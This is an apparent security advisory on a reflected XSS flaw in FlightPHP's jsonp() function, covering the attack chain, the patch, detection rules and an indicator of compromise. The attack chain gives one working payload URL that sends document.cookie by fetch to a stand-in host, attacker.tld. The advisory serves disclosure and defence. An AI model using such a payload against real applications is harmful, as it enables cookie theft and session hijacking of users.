FlightPHP Reflected XSS Vulnerability in jsonp()
A reflected XSS vulnerability exists in FlightPHP versions prior to 3.18.1 due to improper validation of the jsonp query parameter in the Flight::jsonp() function, allowing attackers to inject arbitrary JavaScript leading to cookie theft, session hijacking, and data exfiltration.
FlightPHP versions prior to 3.18.1 are vulnerable to reflected cross-site scripting (XSS) due to insufficient validation of the jsonp query parameter within the Flight::jsonp() function. This function, intended for JSONP responses, directly concatenates the jsonp parameter into the application/javascript response body without ensuring it’s a valid JavaScript identifier. This flaw allows an attacker to inject arbitrary JavaScript code, which then executes in the context of the victim’s origin when the vulnerable endpoint is accessed via a <script> tag from an attacker-controlled page. The vulnerability was discovered by @Rootingg and patched in version 3.18.1, commit b8dd23a, by implementing a regex validation (^[A-Za-z_$][\w$.]{0,127}$) on the callback name.
Attack Chain
- An attacker identifies an application using FlightPHP versions prior to 3.18.1.
- The attacker locates a route that calls the vulnerable
Flight::jsonp()function. - The attacker crafts a malicious URL containing a
jsonpparameter with an XSS payload. Example:/api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//. - The attacker hosts a page containing a
<script>tag that points to the vulnerable endpoint on the victim’s domain, using the crafted malicious URL. - A user visits the attacker-controlled page in a browser.
- The browser executes the injected JavaScript code from the
jsonpparameter within the victim’s origin. - The injected JavaScript steals sensitive information such as cookies, session tokens, or authenticated API responses.
- The stolen data is exfiltrated to a domain controlled by the attacker (e.g.,
attacker.tld).
Impact
Successful exploitation of this XSS vulnerability can lead to significant consequences. Attackers can steal user cookies, hijack user sessions, and exfiltrate authenticated API responses. This impacts any application using the vulnerable Flight::jsonp() function. The number of potential victims depends on the popularity and usage of applications built with the affected FlightPHP versions. Successful attacks allow attackers to impersonate users, access sensitive data, and potentially compromise the entire application.
Recommendation
- Upgrade FlightPHP to version 3.18.1 or later to incorporate the patch that validates the callback name.
- Deploy the Sigma rule
Detect FlightPHP JSONP XSS Attemptto your SIEM to detect potential exploitation attempts by monitoring for specific patterns in web server logs. - Monitor web server logs for requests containing suspicious characters or JavaScript code within the
jsonpquery parameter, referencing the example URL in the Attack Chain. - Implement strict input validation on all query parameters, especially those used in dynamic content generation, to prevent similar XSS vulnerabilities.
Detection coverage 2
Detect FlightPHP JSONP XSS Attempt
highDetects potential exploitation attempts of the FlightPHP JSONP XSS vulnerability by identifying suspicious characters and JavaScript code within the jsonp query parameter in web server logs.
Detect FlightPHP JSONP Callback Injection with fetch
mediumDetects potential exploitation attempts of the FlightPHP JSONP XSS vulnerability by identifying suspicious usage of fetch API for exfiltration within the jsonp query parameter.
Detection queries are kept inside the platform. Get full rules →
Indicators of compromise
1
url
| Type | Value |
|---|---|
| url | https://attacker.tld/c= |